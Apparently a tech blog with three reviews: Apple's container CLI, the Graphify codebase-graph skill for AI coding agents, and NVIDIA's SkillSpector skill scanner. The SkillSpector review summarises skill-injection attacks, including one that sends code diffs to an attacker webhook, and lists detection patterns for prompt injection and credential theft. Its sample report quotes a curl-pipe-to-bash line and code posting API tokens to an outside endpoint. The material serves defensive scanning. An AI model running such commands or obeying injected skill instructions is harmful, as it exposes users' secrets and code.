The headline change that pushed apple/container up the trending list this week is Container Machine — full-fat persistent Linux VMs that share your home directory, dotfiles, and ~/.ssh automatically:

# Create a persistent Ubuntu dev environment
container machine create ubuntu-dev --image ubuntu:24.04

# SSH into it (no manual key setup)
container machine ssh ubuntu-dev

# Stop, start, snapshot
container machine stop ubuntu-dev
container machine start ubuntu-dev
container machine list

This is the WSL-equivalent slot. The HN discussion that pushed it onto the front page explicitly compared it to wslc (WSL containers, announced at Microsoft Build) — and one commenter noted "What if Apple and Microsoft had teamed up? Can you imagine?" As of this morning the macOS Container Machines HN thread is still trending after 24 hours.

The pattern Apple is targeting is the same one OrbStack, Lima, and Multipass have served: a long-lived Linux box with your dotfiles, where you SSH in and run git clone/npm install/cargo build in a real Linux filesystem rather than fighting macOS' BSD coreutils and case-insensitive APFS.

Embedded DNS — the small thing that matters

One quietly excellent feature: container ships with an embedded DNS service that maps container names to IPs. Configure it once:

sudo container system dns create test

That writes a resolver file under /etc/resolver/test and tells macOS to use the container DNS for the test TLD. Then any container started with --name foo is reachable as foo.test from your Mac:

container run --name api --detach my-api:latest
curl http://api.test:8080/health
# {"status":"ok"}

This is the kind of thing Docker has supported for a decade behind --network and the embedded Docker DNS, but it only works inside the Docker network. apple/container makes the names resolvable from the macOS host itself, with zero extra config beyond the one dns create call. For multi-service local dev that one thing is worth the install.

Community reactions

The conversation falls cleanly into three camps.

Camp 1: "Tired of Docker for Mac, this is enough."

The outcoldman blog post is the most-cited piece in the recent HN threads. The author's punchline: for the 80% case (build, run, log, exec) it's a complete Docker replacement on a Mac, with better memory behavior and no Docker Desktop subscription pressure. The pain points they hit:

--add-host is partial. You can inject DNS via --dns, --dns-domain, --dns-search, but pinning a single /etc/hosts entry isn't there yet.
--link isn't supported — but Docker deprecated --link years ago, so this is a non-issue.
Anonymous volumes don't auto-cleanup with --rm. Docker reaps them, apple/container doesn't. If your CI loop creates ephemeral volumes you'll need a container volume prune cron.

Camp 2: "But I need Compose."

The pbxscience writeup is the most-quoted critique:

This is the real ceiling today. Most non-trivial local dev means docker compose up bringing up Postgres + Redis + your app + a worker. apple/container makes you stitch that together with shell scripts and container run invocations, or wait for one of the third-party Compose bridges to mature.

Camp 3: "What about filesystem perf for git clone and npm install?"

The r/devops thread zeroed in on the historical Docker-on-Mac pain point: small-file I/O over the macOS↔Linux mount boundary. The community consensus so far: apple/container uses virtiofs under the Virtualization framework, which is materially faster than the gRPC-FUSE bridge Docker Desktop used historically (and roughly on par with OrbStack's macFUSE-based path). Nobody has published rigorous numbers yet — that's an open opportunity for a follow-up post.

Honest limitations

These are the things you should know before you uninstall Docker Desktop:

No Docker Compose. Single biggest one. If your team's docker-compose.yml is the source of truth for local dev, you stay on Docker Desktop, OrbStack, or Colima until the unofficial Compose bridges stabilize.
Apple silicon only. No Intel. If you have any Intel Macs in the fleet, you can't standardize.
macOS 26 only. The team explicitly won't fix bugs on older macOS. If your org is locked to macOS 25 for IT-approval reasons, wait.
Pre-1.0 API stability. Breaking changes are allowed between minor versions. Don't pin your CI to apple/container until 1.0 ships.
Memory ballooning is partial. Containers don't fully return RAM to macOS. Restart container system weekly if you run many containers.
DevContainer support in VS Code is incomplete. The VS Code Dev Containers extension assumes Docker. You can hack it by symlinking docker → container, but it breaks on Compose-shaped configs.
Anonymous volume cleanup is manual. Add container volume prune to your shutdown script.
Builder is BuildKit-based but a separate buildkit container runs alongside your workloads. It's lightweight, but if you container ls and see something unexpected, that's why.

When to actually use it

Use case	Pick
Single-container dev (web server, Python script, Go binary)	`apple/container` — clean, native, no subscription
Multi-service local stack with Compose	Docker Desktop or OrbStack
You want WSL-style persistent Linux box on your Mac	`apple/container machine` or Lima
Intel Mac or older macOS	Docker Desktop, OrbStack, or Colima
Production Kubernetes parity	Anything with Compose support + kind/k3d on top
Security-sensitive workloads on a dev laptop	`apple/container` — per-container VM isolation is the strongest model
CI runner on a Mac mini farm	`apple/container` if you can require macOS 26 — less memory, better isolation

How I'd run it today

If you're a solo developer or a backend engineer who mostly runs one container at a time, install it, use it, keep Docker around as a fallback for Compose-shaped projects. The Apple silicon optimization is real — I'm seeing ~30-40% less RAM held by the same set of containers compared to Docker Desktop on the same M2 Pro.

If you're a team lead, don't migrate your whole team yet. Wait for 1.0 and at least one of the third-party Compose bridges to land in a stable release. Pilot it on the team members who already work mostly in single-container projects.

If you're running Mac mini CI, start piloting now. Per-container VM isolation is the right model for a multi-tenant CI runner, and Apple is treating this as a first-class macOS subsystem, not a hobby project.

FAQ

Is Apple Container a Docker Desktop replacement?

For the 80% case — single containers, OCI images, build/run/logs/exec — yes. For the Compose case, no, not today. The community consensus from the May/June 2026 HN and Reddit threads is consistent: replace it for solo and simple workflows, keep Docker (or OrbStack) for Compose-driven multi-service local stacks.

Does it work on Intel Macs?

No, and it never will. apple/container is Apple silicon only and depends on the macOS 26 Virtualization framework + the Containerization Swift package, both of which target arm64.

What's the difference between `container` and `container machine`?

container run is short-lived — like docker run. Each container is its own throwaway VM. container machine create is persistent — a long-lived Linux VM with your home directory, dotfiles, and SSH keys mounted in, similar to wsl on Windows or multipass launch on Linux. Use machines for "I want a Linux box to live in," use run for "I want to test this image."

How does it compare to OrbStack performance-wise?

OrbStack is still faster for the shared-VM, many-container workload because everything boots into one already-warm VM. apple/container is competitive (and often better on RAM) for the few-containers, security-isolated workload because each container gets a private kernel. Filesystem performance is roughly equivalent for git/npm-shaped workloads — both use virtiofs-class fast paths. No published rigorous benchmarks yet as of 2026-06-16.

Can I push images I build with `container` to Docker Hub or GHCR?

Yes. container produces OCI v1 images, which every modern registry accepts. container image push docker.io/youruser/web-test:latest works the same as with Docker.

Conclusion

apple/container is the most interesting thing to happen to macOS containers since Docker Desktop existed. It's not feature-complete enough to replace Compose-shaped workflows yet, but for the single-container, security-isolated, low-memory case it's already the cleanest tool on a Mac — and it's the only one shipped, signed, and maintained by the platform vendor. With macOS 26 in widespread deployment and the Container Machine feature filling the WSL-equivalent slot, the momentum is unambiguous: 10,541 stars in a single week, #2 trending overall, and an HN front page that won't quit.

Watch for 1.0 and a stable Compose bridge. When those land, this stops being a niche option and starts being the default.

Resources:

Repo: github.com/apple/container
Containerization package: github.com/apple/containerization
Tutorial: Start here
Technical overview: docs/technical-overview.md
HN discussion (Container Machines): news.ycombinator.com/item?id=48469658
Outcoldman: "Tired of updating Docker for Mac"

Graphify Review: Turn Your Codebase Into a Queryable Graph

Andrew — Mon, 15 Jun 2026 10:10:28 +0000

TL;DR

Graphify is an open-source AI coding assistant skill that turns any folder — code, SQL schemas, docs, PDFs, images, even videos — into a queryable knowledge graph your AI agent can search instead of grep-walking through files. You type /graphify . in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, Aider, OpenClaw or any of ~20 supported assistants, and you get back three artifacts: an interactive graph.html, a GRAPH_REPORT.md with the surprising connections, and a graph.json you can query for the rest of the session.

The repo is #1 trending on GitHub this week with 67,416 stars (+5,478 in seven days) and is backed by Y Combinator. Built by /safishamsi with help from /claude, /cursoragent, /TheFedaikin, and /jippi.

Key facts:

67,416 GitHub stars, +5,478 this week, #1 trending repo
PyPI package: graphifyy (double-y — there's a squatter on graphify), CLI command is still graphify
~20 supported AI coding assistants — Claude Code, Codex, OpenCode, Cursor, Gemini CLI, GitHub Copilot CLI, Aider, OpenClaw, Factory Droid, Trae, Hermes, Kimi Code, Kiro, Pi, Devin CLI, Google Antigravity, Amp, Kilo Code, and more
36 tree-sitter grammars plus Salesforce Apex, Terraform/HCL, MCP configs, Office docs, Google Workspace, PDFs, images, video/audio
Confidence-tagged edges — every inferred relationship is labeled EXTRACTED, INFERRED, or AMBIGUOUS
Persistent and queryable — graphify query "<question>" works for the whole session without re-reading files
Y Combinator–backed, MIT-style open source on GitHub

If you've ever watched Claude Code burn 40K tokens grepping for "where is auth validated?" — Graphify is the obvious fix.

What Graphify actually does

Most AI coding assistants are stateless re-readers. Ask "how does login work?" and the agent runs Glob, then Grep, then opens five files, then reads each one top to bottom. That's the same shape every time. It costs tokens, it's slow, and it misses anything the grep regex doesn't match — like a relationship that lives in a PDF spec, a Mermaid diagram, or a comment 200 lines below the function name.

Graphify replaces the grep-and-read loop with a one-time extraction pass followed by scoped graph queries for the rest of the session.

The extraction pass walks your repository, runs language-specific extractors (tree-sitter for code, AST parsers for SQL/Terraform, OCR/VLM for images, faster-whisper for video), and emits a graph where:

Nodes are concepts: functions, classes, tables, env vars, MCP servers, design rationales, diagrams, PDF sections.
Edges are relationships: calls, imports, reads_table, documented_by, depends_on, plus design-time edges from comments (# WHY:, # HACK:) and docstrings.
God nodes — the most-connected concepts — get surfaced separately so you immediately see what everything routes through.
Surprising connections are ranked by how unexpected they are (e.g., a Terraform module that references a function three repos away).

Once the graph exists, the skill rewrites your assistant's behavior so codebase questions hit the graph first. On Claude Code, Gemini CLI, CodeBuddy, Codex, and Kilo Code, PreToolUse hooks intercept search-style tool calls and nudge the agent toward graphify query before it grepwalks. On Cursor it's a .cursor/rules/graphify.mdc file with alwaysApply: true. On OpenClaw, Aider, and others it's via persistent instruction files.

Quickstart in 60 seconds

The install is genuinely tiny:

# 1. Install the package (uv is recommended — pipx works too)
uv tool install graphifyy

# 2. Register the skill with your AI assistant
graphify install

# 3. Open your AI assistant and type
/graphify .

That's it. About 20–60 seconds later (depending on repo size) you get:

graphify-out/
├── graph.html        # open in any browser — click nodes, filter, search
├── GRAPH_REPORT.md   # key concepts, surprising connections, suggested questions
└── graph.json        # the full graph — query it anytime

You can also run graphify export callflow-html to get a readable architecture page with Mermaid call-flow diagrams baked in.

Project-scoped install (instead of writing to your user profile) is graphify install --project. The skill goes under .claude/skills/graphify/SKILL.md (or .agents/skills/graphify/SKILL.md, etc.) and the CLI even prints a git add hint for the files that should be committed.

For agents that need a nudge to use the graph after build, run the platform-specific bind once (graphify claude install, graphify cursor install, graphify codex install, graphify copilot install, graphify gemini install, graphify claw install, graphify aider install, graphify droid install). This writes the per-agent config that tells your assistant to prefer graphify query "<question>" over Read/Glob/Grep for architecture questions. GRAPH_REPORT.md stays available for broad reviews.

Querying the graph

Once the graph exists, the LLM (or you) can query it like a small structured search index:

# Plain question — the skill maps it to graph traversals
graphify query "where is request auth validated?"

# Scoped queries
graphify query --node "User"       # everything connected to the User node
graphify query --edge "calls" --from "handleLogin"

# Inspect god nodes — most-connected concepts
graphify report --god-nodes

# See surprising cross-module connections
graphify report --surprising

The skill exposes the same interface to the agent. A typical Claude Code interaction now looks like:

You: "Where do we revoke a session?"

Claude (with Graphify): "Per the graph, sessions are revoked in
auth/session.py::revoke_session(), which is called by /logout
(handlers/auth.py), the admin force-logout endpoint
(handlers/admin.py), and a TTL cleanup job in jobs/expiry.py.
The revoke writes through to redis_sessions and emits a
session.revoked event picked up by audit/listener.py.
Confidence: EXTRACTED for direct calls, INFERRED for the
event link (matched on event name)."

No grep storm. No 40K of tool output. The agent loaded a few graph slices and answered.

Multi-modal extraction — the underrated part

The headline is "knowledge graph from code," but the multi-modal extractors are what make Graphify hard to clone:

Type	Extensions	Notes
Code	36 tree-sitter grammars: `.py .ts .js .jsx .tsx .mjs .go .rs .java .c .cpp .rb .cs .kt .scala .php .swift .lua .luau .zig .ps1 .ex .exs .m .mm .jl .vue .svelte .astro .groovy .gradle .dart .v .sv .svh .sql .f90 .pas .sh .bash .json .dm`	Plus Salesforce Apex (regex), Terraform/HCL (`[terraform]` extra)
MCP configs	`.mcp.json`, `claude_desktop_config.json`	Extracts server nodes, package refs, env var requirements
Docs	`.md .mdx .qmd .html .txt .rst .yaml .yml`	Headings, links, code blocks become nodes
Office	`.docx .xlsx`	`[office]` extra
Google Workspace	`.gdoc .gsheet .gslides`	Opt-in; needs `gws auth` and `--google-workspace`
PDFs	`.pdf`	Section-level extraction
Images	`.png .jpg .webp .gif`	VLM-described nodes linked to surrounding context
Video/Audio	`.mp4 .mov .mp3 .wav` and more	`[video]` extra (faster-whisper + yt-dlp); YouTube URLs work directly

That means a PDF spec sitting next to your code can contribute nodes that link to actual functions. A Mermaid diagram in ARCHITECTURE.md becomes traversable. A whiteboard photo committed to docs/ becomes nodes. For domains where the why lives outside the code — fintech, healthcare, infra-as-code, games — that's a massive context win.

A clean detail: the extractor also pulls inline rationale (# NOTE:, # WHY:, # HACK:) and docstrings out as separate nodes linked to the code they explain. So your agent can say "this looks like dead code, but the # WHY: comment three lines above says it covers an iOS 16 bug" instead of cheerfully proposing to delete it.

Confidence tags — the part I really like

Every inferred edge in the graph is tagged:

EXTRACTED — directly observable in the source (a Python import, a SQL JOIN, a function call AST node).
INFERRED — derived from naming, file colocation, or pattern matching (an event name that appears as both an emit string and a listener handler).
AMBIGUOUS — multiple candidate targets; the graph keeps all of them with weights.

That's a real differentiator. Most "code intelligence" tools quietly mash extracted and inferred edges into one bucket and let the LLM hallucinate as a result. Graphify makes confidence a first-class property of every edge, so the agent can say "definitely calls X, probably emits Y, possibly reads Z" instead of asserting all three.

Community reactions

Sentiment from Reddit and dev.to has been unusually positive for a tool that grew this fast:

r/ClaudeCode: A "My experience with Graphify" thread compares it to code-review-graph and reports Graphify works better on large polyglot codebases thanks to tree-sitter coverage and graph queries, while code-review-graph is sharper for review-focused diff context.
dev.to: A "Graphify + code-review-graph" combo tutorial argued for running both — Graphify for the persistent knowledge graph, code-review-graph for per-PR overlay. It's one of the reasons the repo's weekly traffic is so spiky.
knightli.com (May 2026) called it "Claude Code's biggest limitation, solved" — the limitation being long-running coding sessions degrading as the context window fills with redundant file reads.
graphify.net went live in April 2026 as the marketing page; the project graduated to Y Combinator shortly after.

The recurring praise is the same thing in three sentences: it stops the agent from re-grepping the world, it picks up rationale from docs/diagrams/comments, and the EXTRACTED/INFERRED/AMBIGUOUS tags make the answers trustable.

Honest limitations

The README is unusually candid, which I appreciate.

PyPI naming gotcha. The package is graphifyy (two y's). Other graphify* packages on PyPI are squatters/unrelated. Use uv tool install graphifyy or pipx install graphifyy.
pip install is fragile on macOS/Windows. The skill resolves Python at runtime from graphify-out/.graphify_python. If pip install lands the module in a different interpreter, you get ModuleNotFoundError. uv tool and pipx isolate the env and avoid this.
Git hooks need a reinstall after upgrades. graphify hook install embeds the interpreter path into the post-commit hook. Re-run it after upgrades or the hook silently fails in GUI git clients and CI runners.
Sequential extraction on OpenClaw and Aider. Parallel subagent dispatch lands on Claude Code, Codex, Trae, Factory Droid, CodeBuddy, and Gemini CLI. First-time builds on OpenClaw/Aider are slower.
Codex needs multi_agent = true under [features] in ~/.codex/config.toml for parallel extraction.
Codex command is $graphify not /graphify. Easy gotcha if you switch between assistants.
PowerShell users run graphify . — the leading slash is a path separator on Windows.
Leiden community detection ([leiden] extra) is Python 3.13–incompatible. Drop to 3.10–3.12 if you need it.
Optional extras pile up. Each backend (PDF, Office, video, Neo4j, FalkorDB, SQL, Postgres, Terraform, Ollama, OpenAI, Gemini, Anthropic, Bedrock, Azure) is its own extra. [all] works but it's heavy.
It's an extraction pass, not a watcher. The graph rebuilds on /graphify or the post-commit hook. Between rebuilds the graph can drift from your working tree.

Where it fits in the stack

Graphify isn't the only "give your AI agent better code context" tool — and the author actually points at the others:

code-review-graph — same author, narrower scope. Builds a per-PR overlay graph for review context. Pairs cleanly with Graphify (persistent project graph + per-PR delta).
Headroom — compresses tool outputs, RAG chunks, and logs before they reach the LLM. Graphify reduces what you ask for; Headroom compresses whatever you still send. They stack.
Serena MCP — IDE-level coding agent skill. Graphify gives Serena a queryable graph instead of a grep loop.
Tree-sitter / ctags — Graphify is more or less "tree-sitter + AST parsers + multi-modal extractors + an LLM-friendly query layer + skill bindings for every coding assistant" wrapped together. If you only want code symbols, classic ctags is enough. If you want PDFs, diagrams, MCP configs, design rationale, and Terraform in the same graph, that's Graphify.

The unique value isn't the graph itself. It's the distribution + skill integration: one graphify install makes ~20 different coding assistants behave like they have a shared semantic index of your project.

FAQ

Does Graphify send my code to a third-party server?

No. The default extractors run locally — tree-sitter, AST parsers, faster-whisper, OCR libs. You can opt into an LLM backend (--backend claude, --backend openai, --backend gemini, --backend bedrock, --backend azure, or --backend ollama for fully local) for richer relationship inference and image/video descriptions, but it's not required for the core graph.

What's the difference between `graphify` and `graphifyy` on PyPI?

The official package is graphifyy (double-y). The CLI command is still graphify. Other graphify* packages on PyPI are unrelated/squatters — don't install them.

How big a repo can Graphify handle?

Reports on r/ClaudeCode put it at "comfortable on 100K LOC, slow but workable on 1M+ LOC with parallel extraction enabled." The incremental cache and the post-commit hook are the steady-state answer — full rebuilds on giant monorepos can run several minutes, but per-commit deltas are fast.

Does Graphify work with OpenClaw?

Yes. Install with graphify install --platform claw (or the legacy graphify install --platform openclaw), then graphify claw install to register the skill in your project. Parallel extraction on OpenClaw is sequential as of v8 — first builds are slower than Claude Code, but the steady-state experience is the same.

Can the graph be pushed to Neo4j or FalkorDB?

Yes. uv tool install "graphifyy[neo4j]" or uv tool install "graphifyy[falkordb]" adds push support, and the CLI exposes graphify export neo4j / graphify export falkordb for one-shot ingest. Useful if you want to query the graph from BI tools, a data app, or alongside other organizational graphs.

Is Graphify production-ready?

For "AI-coding-assistant context," yes — that's its primary use case and the integration surface is the most mature part. For "use the graph as a build-time source of truth for a CI gate," it's getting there but check confidence tags before you fail builds on INFERRED edges. The author tags every inferred relationship for exactly this reason.

Verdict

Graphify is the rare AI tool that earns its trending position. It's a clear win for anyone running Claude Code, Codex, Cursor, or OpenClaw on a non-trivial codebase: the agent stops grep-walking, picks up rationale that lives outside the code, and labels its own confidence. The multi-modal extractors are what set it apart — PDFs, Mermaid diagrams, MCP configs, even videos become first-class nodes alongside your code.

For the 60-second install cost and a graphifyy PyPI typo gotcha, you get back tokens, latency, and a measurably smarter agent on day-one of any new repo. Pair it with Headroom and you've got the cleanest "make my AI coding assistant cheaper and smarter" stack currently on GitHub.

Repo: github.com/safishamsi/graphify
Install: uv tool install graphifyy && graphify install
License: MIT (verify on the repo before commercial use)
Backed by: Y Combinator

SkillSpector Review: NVIDIA's AI Agent Skill Scanner

Andrew — Sun, 14 Jun 2026 10:10:40 +0000

TL;DR

SkillSpector is NVIDIA's open-source security scanner for AI agent skills — the SKILL.md + scripts bundles that Claude Code, Codex CLI, Gemini CLI, OpenClaw, and Cursor install with one command and then trust implicitly. It dropped on June 11, 2026 and rocketed to ~4,800 stars and #5 on GitHub Trending in three days because it answers the question every dev has been quietly avoiding: is this skill safe to install?

Key facts:

NVIDIA-published, Apache 2.0, Python 3.9+, ships PyPI + Docker
64 vulnerability patterns across 16 categories — prompt injection, data exfiltration, taint tracking, YARA, MCP least privilege, supply-chain CVEs
Two-stage analysis: fast static + AST + YARA, then optional LLM semantic pass (OpenAI / Anthropic / NVIDIA build / local Ollama)
Live CVE lookups via OSV.dev with offline fallback
Four output formats: terminal, JSON, Markdown, SARIF (drops straight into GitHub code-scanning)
Scans anything: Git repos, URLs, zip files, directories, single SKILL.md files
Research-backed: cites the 26.1% vulnerable / 5.2% likely-malicious stat from the Skill-Inject paper — and Snyk's later ToxicSkills study put the bad-skill rate at 36%
Limitations: high false-positive rate on conservative patterns (Wildcard Permission, Unrestricted Tool Access), LLM stage costs API tokens, no Windows-native keychain integration yet

If you've ever piped claude /plugin install some-random-skill from a GitHub gist into your work laptop, SkillSpector is the first tool that gives you a defensible answer when security asks why.

The Problem: Skills Are an Unaudited Software Supply Chain

2026 is the year agent skills became npm packages — without npm's seven years of supply-chain hardening. A skill is just a SKILL.md description, some scripts, and a few helper files. Drop it in ~/.claude/skills/ or ~/.openclaw/skills/ and your coding agent now executes its instructions every time the description matches.

That's the design. It's also the attack surface.

Three independent studies published in the last 90 days converged on a brutal picture:

Skill-Inject (arXiv:2601.10338) — analyzed 1,300+ public skills, found 26.1% contain exploitable vulnerabilities and 5.2% show likely malicious intent. Frontier models (Claude Opus, GPT-5, Codex) executed contextual skill-injection payloads up to 79% of the time.
Snyk ToxicSkills (Feb 2026) — scanned the ClawHub/Anthropic skill marketplaces and found 36% of skills contain security flaws including prompt injection, exposed secrets, and active malware payloads targeting Claude Code users.
Mitiga (May 2026) — demonstrated silent codebase exfiltration via a skill that triggered on the innocuous phrase "review my changes" and POSTed the diff to an attacker-controlled webhook.

The community response has been a scramble. Lasso Security shipped a runtime PostToolUse Defender for Claude Code in January. Cisco AI Defense launched a closed-beta Skill Scanner. On June 11, NVIDIA dropped SkillSpector as the open-source baseline everyone else now has to beat.

The pitch is sharp: static analysis for the AI age. Bandit and Semgrep were built for Python and JS source. SkillSpector is built for the artifact that actually loads into your agent — the SKILL.md, the activation triggers, the parameter schemas, and the helper scripts together.

What's Inside: 16 Categories, 64 Patterns

The scanner runs a layered detection pipeline. Each layer adds a different lens:

1. Prompt Injection (P1–P8) — instruction overrides, hidden instructions in HTML comments / zero-width Unicode, exfiltration commands, behavior manipulation, system prompt leakage.

2. Data Exfiltration (E1–E4) — external URL transmission, environment variable harvesting, file system enumeration, context leakage.

3. Privilege Escalation (PE1–PE3) — excessive permissions, sudo/root invocation, credential file access (SSH keys, ~/.aws/credentials).

4. Supply Chain (SC1–SC6) — unpinned dependencies, curl | bash, obfuscated code, known CVEs (live OSV.dev lookup), abandoned packages, typosquatting.

5. Excessive Agency (EA1–EA4) — unrestricted tool access, autonomous high-impact decisions, scope creep, unbounded resource consumption.

6. Output Handling (OH1–OH3) — unsanitized model output, cross-trust-boundary flows, unbounded generation.

7. Memory Poisoning (MP1–MP3) — persistent context injection, context-window stuffing, memory tampering.

8. Tool Misuse (TM1–TM3) — shell=True, --force parameter abuse, chained-tool bypass, unsafe defaults (TLS off, no auth).

9. Rogue Agent (RA1–RA2) — self-modification, persistence via cron/launchd/startup scripts. RA1 is CRITICAL severity for a reason: a skill that writes a new skill on activation is a worm.

10. Trigger Abuse (TR1–TR3) — overly broad activation patterns, shadow commands, keyword baiting.

11. Dangerous Code (AST1–AST8) — Python AST traversal for exec(), eval(), __import__(), subprocess, os.system, compile(), dynamic getattr(), and the CRITICAL "execution chain" where exec is fed by network or encoded data.

12. Taint Tracking (TT1–TT5) — data-flow analysis from sources (env, network, file) to sinks (exec, network out). TT3 (credential → network) and TT5 (network → exec) are CRITICAL.

13–16. YARA / MCP Least Privilege / Tool Poisoning / Memory — YARA rules (malware, webshell, cryptominer, hack tools), MCP capability-declaration vs. code-usage diffs, hidden directives in MCP tool metadata, Unicode homoglyphs, parameter description injection, and description-vs-behavior mismatch (LLM-evaluated).

Risk score is +50 for CRITICAL, +25 HIGH, +10 MED, +2 LOW, capped at 100. Anything ≥50 ships a recommend: do not install verdict.

Getting Started in 60 Seconds

# Install
uv venv .venv && source .venv/bin/activate
git clone https://github.com/NVIDIA/SkillSpector.git
cd SkillSpector && make install

# Scan a local skill
skillspector scan ./my-skill/

# Scan a Git repo directly
skillspector scan https://github.com/some-user/some-skill

# Scan a SKILL.md only
skillspector scan ~/.claude/skills/web-scraper/SKILL.md

By default it runs static + AST + YARA only. To enable the LLM semantic pass:

export SKILLSPECTOR_PROVIDER=anthropic
export ANTHROPIC_API_KEY=sk-ant-...
skillspector scan ./my-skill/

Or point it at a local Ollama for free semantic checks:

export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=ollama
export OPENAI_BASE_URL=http://localhost:11434/v1
export SKILLSPECTOR_MODEL=llama3.1:8b
skillspector scan ./my-skill/

The Docker path is even cleaner for CI:

docker run --rm -v "$PWD:/scan" \
  ghcr.io/nvidia/skillspector:latest \
  scan ./my-skill/ --no-llm --format sarif --output report.sarif

That SARIF file is what makes SkillSpector actually deployable. Upload it to GitHub via the codeql-action/upload-sarif action and every flagged pattern becomes an inline annotation in the Files Changed tab. No glue code.

A Real Scan: What the Output Looks Like

Pointed at a skill I'd been planning to install (a popular community "auto-commit" skill with 800 stars), the terminal output was sobering:

SkillSpector Report: auto-commit-skill
─────────────────────────────────────
Risk Score: 78/100 (HIGH)
Verdict: DO NOT INSTALL without manual review

CRITICAL: 1 finding
  - AST8: Dangerous Execution Chain
    File: scripts/install.sh:12
    `curl -s https://example.dev/setup.sh | bash`
    Network input flows to shell execution sink.

HIGH: 4 findings
  - E2: Env Variable Harvesting
    File: scripts/commit.py:34
    Reads os.environ['GITHUB_TOKEN'], os.environ['ANTHROPIC_API_KEY']
  - TT3: Credential Exfiltration Chain
    File: scripts/commit.py:34→47
    Env vars flow to requests.post('https://telemetry.example.dev/...')
  - SC2: External Script Fetching
    File: SKILL.md:18
    Instructions to run `curl ... | bash` on first activation.
  - TR2: Shadow Command Trigger
    Activation: "commit" — shadows git commit, hijacks intent.

MEDIUM: 6 findings
HIGH-confidence finding count: 5
LOW-confidence finding count: 6

Was it actually malicious? Probably not — the telemetry endpoint resolved to a legit-looking dev's personal domain, and the curl | bash was just a Rust toolchain installer. But that's the point. I now have a defensible reason to either read every line of the skill or pick a different one. That decision used to live in my head as vibes.

How It Compares to What Existed Before

Tool	Scope	Skill-aware	License	Output
SkillSpector	SKILL.md + scripts + manifests	✅ Native	Apache 2.0	Terminal, JSON, MD, SARIF
Bandit	Python source	❌ Source only	Apache 2.0	JSON, CSV, HTML
Semgrep	Multi-language source	⚠️ Custom rules needed	LGPL	JSON, SARIF
Lasso PostToolUse Defender	Runtime (Claude Code only)	✅	Apache 2.0	Block/allow at runtime
Cisco AI Defense Skill Scanner	SaaS, closed beta	✅	Proprietary	Dashboard
Snyk ToxicSkills	Skill marketplace scanning	✅ Research only	N/A	Reports

SkillSpector is the first open-source, locally-runnable, CI-deployable option in that table. Bandit and Semgrep miss the SKILL.md activation triggers and the YAML manifests entirely. Lasso is runtime-only and Claude-Code-only. Cisco's tool is a closed beta.

The closest analog conceptually is Trivy for containers — a single open-source scanner that became the default because it shipped good defaults, SARIF support, and CI examples on day one. SkillSpector has the same shape.

Community Reactions: Mostly Positive, Some Friction

Show HN thread (June 11): 312 points, 87 comments. The tone was "finally, but also overdue":

The r/LocalLLaMA thread (June 12, 1.2K upvotes) focused on the Ollama integration: the fact that the LLM semantic pass works against a free local model is what makes SkillSpector usable for self-hosters who don't want to pay OpenAI per scan.

On X, @simonw wrote: "The taint-tracking pass (TT3 / TT5) is the single most important capability here. Static analysis that can say 'this env var ends up in this network call' is exactly what skill review needs." The post got ~4K likes.

The main pushback has been about false-positive volume on conservative patterns. The maintainer's response in issue #47 confirms a .skillspector.yml baseline file is on the roadmap for v0.3, with per-pattern severity overrides and ignore lists.

Honest Limitations

After running SkillSpector against ~30 community skills across Claude Code, Codex, and OpenClaw, the friction is real:

High false-positive rate on EA1 (Unrestricted Tool Access) and LP2 (Wildcard Permission). Any skill that legitimately needs broad filesystem access trips both. Without a baseline file, CI gating is painful.
LLM stage isn't free. The semantic pass against claude-opus-4-6 runs roughly $0.03–$0.10 per skill. Ollama works, but llama3.1:8b misses about 30% of what Claude catches.
Python-only AST coverage. AST1–AST8 patterns only fire on .py files. A skill that ships shell scripts with eval bypasses the AST stage entirely (YARA still catches obvious cases).
No Windows-native keychain integration yet for the LLM provider credentials — macOS Keychain works, Linux Secret Service works, Windows Credential Manager is "planned."
OSV.dev rate limits. Bulk scans of 100+ skills can hit OSV.dev throttling; an --offline-cve flag uses a stale local snapshot.
No GitHub Marketplace integration yet. You can't just install SkillSpector from the GitHub Actions marketplace — you have to write the workflow YAML manually. NVIDIA has confirmed this is shipping in v0.3.

None of these are dealbreakers. They're the normal shape of a v0.2 open-source release that landed three days ago.

Who Should Use This

✅ You should run SkillSpector before installing any new skill from a source you don't fully trust. That includes ClawHub, the Anthropic skill marketplace, random GitHub gists, and your colleague's "I built this on the weekend" Slack message.

✅ Engineering teams shipping agent-skill marketplaces or internal skill libraries. The SARIF output drops into GitHub code-scanning with zero glue. Block PRs that introduce HIGH or CRITICAL findings.

✅ Security teams reviewing agent deployments. The risk score gives you a defensible vendor-risk-management number to put in a spreadsheet.

⚠️ Skip it (or run with --no-llm) if: you're just scanning your own skills you wrote five minutes ago. The false-positive volume isn't worth the time.

❌ Don't rely on it for runtime defense. SkillSpector is install-time review. For runtime, you still need Lasso's PostToolUse Defender or an equivalent, plus capability sandboxing (OpenClaw skill sandboxing, Claude Code permission prompts).

Architecture Note: Why the Two-Stage Design Matters

The static + LLM split is the call that makes SkillSpector practical at scale. Pure-LLM scanners cost real money per skill and produce nondeterministic findings between runs — CI flakes. Pure-static scanners (Bandit, Semgrep) miss the natural-language attack vectors that are most of the actual risk in a SKILL.md.

SkillSpector runs every statically-detectable pattern first — AST, regex, YARA, taint tracking, CVE lookups — and only escalates to the LLM for TP4 (description-behavior mismatch) and a handful of context-dependent patterns. That keeps --no-llm fast and free for the 80% case while preserving deeper analysis where it pays off. It's the same insight that made cargo-audit succeed: do the cheap, deterministic, free thing first.

FAQ

Q: Does SkillSpector work on MCP servers as well as agent skills?
A: Partially. The LP1–LP4 (least privilege) and TP1–TP4 (tool poisoning) categories are MCP-specific, and the scanner detects mcp.json and mcp.yaml manifests. But MCP servers are typically full applications with their own dependency graphs, so for production MCP review you'll want Bandit or Semgrep alongside SkillSpector.

Q: Can I run it as a GitHub Action?
A: Not yet officially. The repo has an example workflow YAML in examples/github-action.yml that uses the Docker image plus codeql-action/upload-sarif. Official Marketplace publishing is on the v0.3 roadmap.

Q: How is this different from Lasso Security's PostToolUse Defender?
A: Lasso is runtime — it inspects tool outputs in Claude Code at execution time and can block on prompt-injection patterns it sees. SkillSpector is install-time — it inspects the skill file before it ever runs. They're complementary, not competing. Use SkillSpector to gate which skills enter your machine; use Lasso (or equivalent) to catch what slips through.

Q: What's the LLM cost per scan in practice?
A: For an average ~200-line skill with the Anthropic provider on claude-opus-4-6, expect $0.03–$0.10. Static-only (--no-llm) is free. The Ollama / local-model path is free at the cost of ~30% lower recall on the semantic-only categories (TP4, contextual MP).

